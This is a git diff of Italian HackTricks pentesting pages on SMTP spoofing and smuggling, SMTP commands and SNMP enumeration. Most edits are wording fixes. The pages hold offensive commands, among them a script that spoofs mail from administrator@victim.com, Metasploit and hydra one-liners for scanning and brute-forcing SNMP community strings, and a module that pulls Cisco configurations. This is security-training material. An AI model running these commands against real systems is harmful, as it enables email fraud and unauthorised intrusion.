+409,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} -Se riscontri un **errore nell'utilizzo della libreria dkim di Python** nel parsing della chiave, sentiti libero di utilizzare la seguente.\ -**NOTA**: Questo è solo un fix temporaneo per effettuare controlli rapidi nei casi in cui per qualche motivo la chiave privata di openssl **non possa essere analizzata da dkim**. +Se riscontri un **errore nell'utilizzo della libreria dkim python** nel parsing della chiave, sentiti libero di utilizzare la seguente.\ +**NOTA**: Questo è solo un fix temporaneo per effettuare controlli rapidi nei casi in cui per qualche motivo la chiave privata di openssl **non può essere analizzata da dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt @@ -509,7 +509,7 @@ s.sendmail(sender, [destination], msg_data) * Tecniche di manipolazione dei link * Allegati sospetti (non comuni) * Contenuto dell'email danneggiato -* Utilizzo di valori diversi da quelli degli header della mail +* Valori utilizzati diversi da quelli degli header della mail * Esistenza di un certificato SSL valido e attendibile * Invio della pagina a siti di filtraggio dei contenuti web @@ -582,15 +582,15 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a scavare in profondità, aprire shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi. {% embed url="https://pentest-tools.com/" %}
-Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: diff --git a/network-services-pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md index e964422ac..191dd24e9 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -6,17 +6,17 @@ Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
-
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, ottenere shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %} @@ -50,7 +50,7 @@ Questo comando viene utilizzato per invertire i ruoli tra il client e il server, Con il comando AUTH, il client si autentica presso il server, fornendo il proprio nome utente e password. È un altro livello di sicurezza per garantire una trasmissione corretta. **RSET**\ -Comunica al server che il trasferimento dell'email in corso verrà terminato, anche se la conversazione SMTP non verrà chiusa (come nel caso di QUIT). +Comunica al server che il trasferimento dell'email in corso sta per essere terminato, anche se la conversazione SMTP non verrà chiusa (come nel caso di QUIT). **EXPN**\ Questo comando SMTP chiede una conferma sull'identificazione di una lista di distribuzione. @@ -61,9 +61,9 @@ Questo comando SMTP chiede una conferma sull'identificazione di una lista di dis **QUIT**\ Termina la conversazione SMTP. -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, ottenere shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %} @@ -73,10 +73,10 @@ Termina la conversazione SMTP. Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. diff --git a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index ea397bc32..fd55ffe88 100644 --- a/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -10,28 +10,28 @@ Altri modi per supportare HackTricks: * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. ## Informazioni di Base -Questo tipo di vulnerabilità è stato [**originariamente scoperto in questo post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) dove viene spiegato che è possibile **sfruttare le discrepanze nell'interpretazione del protocollo SMTP** al momento di finalizzare un'email, consentendo a un attaccante di contrabbandare più email nel corpo di quella legittima, permettendo di impersonare altri utenti del dominio interessato (come admin@outlook.com) eludendo le difese come SPF. +Questo tipo di vulnerabilità è stato [**originariamente scoperto in questo post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) dove viene spiegato che è possibile **sfruttare le discrepanze nell'interpretazione del protocollo SMTP** al momento di finalizzare una email, consentendo a un attaccante di contrabbandare più email nel corpo di quella legittima, permettendo di impersonare altri utenti del dominio interessato (come admin@outlook.com) eludendo le difese come SPF. ### Perché Questo avviene perché nel protocollo SMTP, i **dati del messaggio** da inviare nell'email sono controllati da un utente (attaccante) che potrebbe inviare dati appositamente creati sfruttando le differenze nei parser che contrabbanderanno email aggiuntive nel destinatario. Dai un'occhiata a questo esempio illustrato dal post originale: -

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

+

https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png

### Come -Per sfruttare questa vulnerabilità, un attaccante deve inviare alcuni dati che il **server SMTP in uscita pensa che sia solo 1 email ma il server SMTP in ingresso pensa che ci siano diverse email**. +Per sfruttare questa vulnerabilità, un attaccante deve inviare alcuni dati che il **server SMTP in uscita pensa che sia solo 1 email ma il server SMTP in entrata pensa che ci siano diverse email**. -I ricercatori hanno scoperto che diversi **server in ingresso considerano diversi caratteri come fine dei dati** del messaggio email che i server in uscita non considerano.\ -Ad esempio, una fine regolare dei dati è `\r\n.\r\n`. Ma se il server SMTP in ingresso supporta anche `\n.\n`, un attaccante potrebbe semplicemente aggiungere **quei dati nella sua email e iniziare a indicare i comandi SMTP** di nuove email da contrabbandare proprio come nell'immagine precedente. +I ricercatori hanno scoperto che diversi **server in entrata considerano diversi caratteri come fine dei dati** del messaggio email che i server in uscita non considerano.\ +Ad esempio, una fine regolare dei dati è `\r\n.\r\n`. Ma se il server SMTP in entrata supporta anche `\n.\n`, un attaccante potrebbe semplicemente aggiungere **quei dati nella sua email e iniziare a indicare i comandi SMTP** di nuove email da contrabbandare proprio come nell'immagine precedente. -Ovviamente, ciò potrebbe funzionare solo se il **server SMTP in uscita non considera anche questi dati** come fine dei dati del messaggio, perché in tal caso vedrà 2 email invece di una sola, quindi alla fine questa è la disincronizzazione che viene sfruttata in questa vulnerabilità. +Ovviamente, ciò potrebbe funzionare solo se il **server SMTP in uscita non considera anche questi dati** come fine dei dati del messaggio, perché in tal caso vedrà 2 email invece di 1, quindi alla fine questa è la disincronizzazione che viene sfruttata in questa vulnerabilità. Dati potenziali di disincronizzazione: @@ -54,6 +54,6 @@ Altri modi per supportare HackTricks: * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. diff --git a/network-services-pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md index 7ac18f000..414e8fa85 100644 --- a/network-services-pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -2,21 +2,21 @@
-Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! +Impara l'hacking AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
-Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_). +Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza in lingua polacca scritta e parlata_). {% embed url="https://www.stmcyber.com/careers" %} @@ -33,21 +33,21 @@ SNMP utilizza anche la porta **162/UDP** per le **traps**. Questi sono **pacchet ### MIB -Per garantire che l'accesso SNMP funzioni tra produttori diversi e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. MIB è un **formato indipendente per memorizzare le informazioni del dispositivo**. Una MIB è un file **di testo** in cui sono elencati tutti gli **oggetti SNMP interroghili** di un dispositivo in una gerarchia ad albero **standardizzata**. Contiene almeno un `Object Identifier` (`OID`), che, oltre all'**indirizzo univoco** necessario e a un **nome**, fornisce anche informazioni sul tipo, i diritti di accesso e una descrizione dell'oggetto rispettivo.\ -I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e com'è fatto, restituendo valori per l'OID specifico, o quale tipo di dati viene utilizzato. +Per garantire che l'accesso SNMP funzioni tra produttori diversi e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. La MIB è un **formato indipendente per memorizzare le informazioni del dispositivo**. Una MIB è un file **di testo** in cui sono elencati tutti gli **oggetti SNMP interroghili** di un dispositivo in una gerarchia ad albero **standardizzata**. Contiene almeno un `Object Identifier` (`OID`), che, oltre all'**indirizzo univoco** necessario e a un **nome**, fornisce anche informazioni sul tipo, i diritti di accesso e una descrizione dell'oggetto rispettivo.\ +I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come sono fatte, restituendo valori per l'OID specifico, o che tipo di dati viene utilizzato. -### OID +### OIDs -Gli **Object Identifiers (OID)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire gli oggetti all'interno di una **Management Information Base (MIB)**. +Gli **Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori univoci sono progettati per gestire gli oggetti all'interno di una **Management Information Base (MIB)**. -I livelli più alti degli ID oggetto MIB, o OID, sono assegnati a diverse organizzazioni che stabiliscono standard. È all'interno di questi livelli superiori che viene stabilito il framework per le pratiche e gli standard di gestione globali. +I livelli più alti degli ID oggetto MIB, o OID, sono assegnati a diverse organizzazioni che stabiliscono standard. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali. Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'interno di questi rami, hanno l'**autonomia di includere oggetti gestiti pertinenti alle proprie linee di prodotti**. Questo sistema garantisce che ci sia un metodo strutturato e organizzato per identificare e gestire una vasta gamma di oggetti tra diversi fornitori e standard. ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>) Puoi **navigare** attraverso un **albero OID** dal web qui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **vedere cosa significa un OID** (come `1.3.6.1.2.1.1`) accedendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili SNMP definite da MIB-2 Simple Network Management Protocol (SNMP). E dagli **OID pendenti da questo** è possibile ottenere alcuni dati host interessanti (dati di sistema, dati di rete, dati di processi...) +Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili SNMP definite da MIB-2. E dagli **OID pendenti da questo** è possibile ottenere alcuni dati host interessanti (dati di sistema, dati di rete, dati di processo...) ### **Esempio di OID** @@ -59,10 +59,10 @@ Ecco una scomposizione di questo indirizzo. * 1 - questo è chiamato ISO e stabilisce che si tratta di un OID. Per questo motivo tutti gli OID iniziano con "1" * 3 - questo è chiamato ORG ed è utilizzato per specificare l'organizzazione che ha costruito il dispositivo. -* 6 - questo è il dod o il Department of Defense che è l'organizzazione che ha stabilito per prima Internet. +* 6 - questo è il dod o il Dipartimento della Difesa che è l'organizzazione che ha stabilito per prima Internet. * 1 - questo è il valore di Internet per indicare che tutte le comunicazioni avverranno tramite Internet. -* 4 - questo valore determina che questo dispositivo è stato realizzato da un'organizzazione privata e non governativa. -* 1 - questo valore indica che il dispositivo è stato realizzato da un'azienda o un'entità commerciale. +* 4 - questo valore determina che questo dispositivo è realizzato da un'organizzazione privata e non governativa. +* 1 - questo valore indica che il dispositivo è realizzato da un'azienda o un'entità commerciale. Questi primi sei valori tendono ad essere gli stessi per tutti i dispositivi e forniscono informazioni di base su di essi. Questa sequenza di numeri sarà la stessa per tutti gli OID, tranne quando il dispositivo è realizzato dal governo. @@ -86,19 +86,19 @@ Il resto dei valori fornisce informazioni specifiche sul dispositivo. Ci sono 2 versioni importanti di SNMP: -* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo normale** (tutte le informazioni viaggiano in testo normale). **Versione 2 e 2c** inviano il **traffico in testo normale** e utilizzano una **community string come autenticazione**. +* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo normale** (tutte le informazioni viaggiano in testo normale). **La versione 2 e 2c** inviano il **traffico in testo normale** e utilizzano una **community string come autenticazione**. * **SNMPv3**: Utilizza una forma di **autenticazione migliore** e le informazioni viaggiano **criptate** (un **attacco a dizionario** potrebbe essere eseguito ma sarebbe molto più difficile trovare le credenziali corrette rispetto a SNMPv1 e v2). ### Stringhe di Comunità -Come già detto, **per accedere alle informazioni salvate sulla MIB è necessario conoscere la stringa di comunità nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\ +Come già accennato, **per accedere alle informazioni salvate sulla MIB è necessario conoscere la stringa di comunità nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\ Ci sono **2 tipi di stringhe di comunità**: * **`public`** principalmente funzioni **solo lettura** * **`private`** **Lettura/Scrittura** in generale -Nota che **la scrivibilità di un OID dipende dalla stringa di comunità utilizzata**, quindi **anche** se trovi che viene utilizzata "**public**", potresti essere in grado di **scrivere alcuni valori**. Inoltre **potrebbero** esistere oggetti che sono **sempre "Solo Lettura"**.\ -Se provi a **scrivere** un oggetto viene ricevuto un errore **`noSuchName` o `readOnly`**. +Nota che **la scrivibilità di un OID dipende dalla stringa di comunità utilizzata**, quindi **anche** se trovi che viene utilizzata la stringa "**public**", potresti essere in grado di **scrivere alcuni valori**. Inoltre **potrebbero** esistere oggetti che sono **sempre "Solo Lettura"**.\ +Se provi a **scrivere** un oggetto, viene ricevuto un errore **`noSuchName` o `readOnly`**. Nelle versioni 1 e 2/2c se si utilizza una **stringa di comunità errata il server non risponderà**. Quindi, se risponde, è stata utilizzata una **stringa di comunità valida**. @@ -162,15 +162,15 @@ Entrambe le istruzioni richiedono una **stringa di comunità** e l'indirizzo IP ### Parametri SNMP per Microsoft Windows -Una serie di valori della **Base di Informazioni di Gestione (MIB)** sono utilizzati per monitorare vari aspetti di un sistema Windows tramite SNMP: +Una serie di valori di **Base di Informazioni di Gestione (MIB)** sono utilizzati per monitorare vari aspetti di un sistema Windows tramite SNMP: -* **Processi di Sistema**: Accessibili tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema. +* **Processi di Sistema**: Accessibile tramite `1.3.6.1.2.1.25.1.6.0`, questo parametro consente il monitoraggio dei processi attivi all'interno del sistema. * **Programmi in Esecuzione**: Il valore `1.3.6.1.2.1.25.4.2.1.2` è designato per tracciare i programmi attualmente in esecuzione. * **Percorso dei Processi**: Per determinare da dove un processo sta eseguendo, viene utilizzato il valore MIB `1.3.6.1.2.1.25.4.2.1.4`. * **Unità di Archiviazione**: Il monitoraggio delle unità di archiviazione è facilitato da `1.3.6.1.2.1.25.2.3.1.4`. * **Nome del Software**: Per identificare il software installato su un sistema, viene impiegato `1.3.6.1.2.1.25.6.3.1.2`. -* **Account Utente**: Il valore `1.3.6.1.4.1.77.1.2.25` consente il tracciamento degli account utente. -* **Porte Locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per il monitoraggio delle porte TCP locali, fornendo informazioni sulle connessioni di rete attive. +* **Account Utenti**: Il valore `1.3.6.1.4.1.77.1.2.25` consente il tracciamento degli account utenti. +* **Porte Locali TCP**: Infine, `1.3.6.1.2.1.6.13.1.3` è designato per monitorare le porte TCP locali, fornendo informazioni sulle connessioni di rete attive. ### Cisco @@ -190,7 +190,7 @@ Se hai la **stringa** che ti consente di **scrivere valori** all'interno del ser ## **SNMP Massivo** -[Braa ](https://github.com/mteg/braa)è uno scanner SNMP di massa. L'uso previsto di uno strumento del genere è, naturalmente, effettuare query SNMP - ma a differenza di snmpwalk di net-snmp, è in grado di interrogare decine o centinaia di host contemporaneamente e in un singolo processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente. +[Braa ](https://github.com/mteg/braa)è uno scanner SNMP di massa. L'uso previsto di uno strumento del genere è, ovviamente, effettuare query SNMP - ma a differenza di snmpwalk di net-snmp, è in grado di interrogare decine o centinaia di host contemporaneamente e in un singolo processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente. Braa implementa il proprio stack SNMP, quindi NON ha bisogno di librerie SNMP come net-snmp. @@ -208,7 +208,7 @@ Il processo inizia con l'estrazione dei dati **sysDesc MIB** (1.3.6.1.2.1.1.1.0) ```bash grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` -### **Identificare la stringa privata** +### **Identificare la Stringa Privata** Un passaggio cruciale coinvolge l'identificazione della **stringa di comunità privata** utilizzata dalle organizzazioni, in particolare sui router Cisco IOS. Questa stringa consente l'estrazione delle **configurazioni in esecuzione** dai router. L'identificazione spesso si basa sull'analisi dei dati di **SNMP Trap** per la parola "trap" con un comando **grep**: ```bash @@ -220,9 +220,9 @@ I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativ ```bash grep -i "login\|fail" *.snmp ``` -### **Emails** +### **Email** -Infine, per estrarre **indirizzi email** dai dati, viene utilizzato un comando **grep** con un'espressione regolare, concentrandosi su pattern che corrispondono ai formati email: +Infine, per estrarre gli **indirizzi email** dai dati, viene utilizzato un comando **grep** con un'espressione regolare, concentrandosi su pattern che corrispondono ai formati email: ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` @@ -240,9 +240,9 @@ Se esiste un ACL che consente solo a determinati IP di interrogare il servizio S * snmpd.conf * snmp-config.xml -
+
-Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_). +Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_). {% embed url="https://www.stmcyber.com/careers" %} @@ -288,9 +288,9 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp Altri modi per supportare HackTricks: -* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se vuoi vedere la **tua azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 60b229f42..f10d1647f 100644 --- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -4,17 +4,17 @@ Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! -* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -
+
-Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_). +Se sei interessato a una **carriera nell'hacking** e ad hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_). {% embed url="https://www.stmcyber.com/careers" %} @@ -28,7 +28,7 @@ onesixtyone -c communitystrings -i targets ``` #### `cisco_config_tftp` -Il framework Metasploit include il modulo `cisco_config_tftp`, che facilita l'estrazione delle configurazioni del dispositivo, a condizione di acquisire una stringa di comunità RW. I parametri essenziali per questa operazione includono: +Il framework Metasploit include il modulo `cisco_config_tftp`, che facilita l'estrazione delle configurazioni dei dispositivi, a condizione di acquisire una stringa di comunità RW. I parametri essenziali per questa operazione includono: * Stringa di comunità RW (**COMMUNITY**) * IP dell'attaccante (**LHOST**) @@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit * 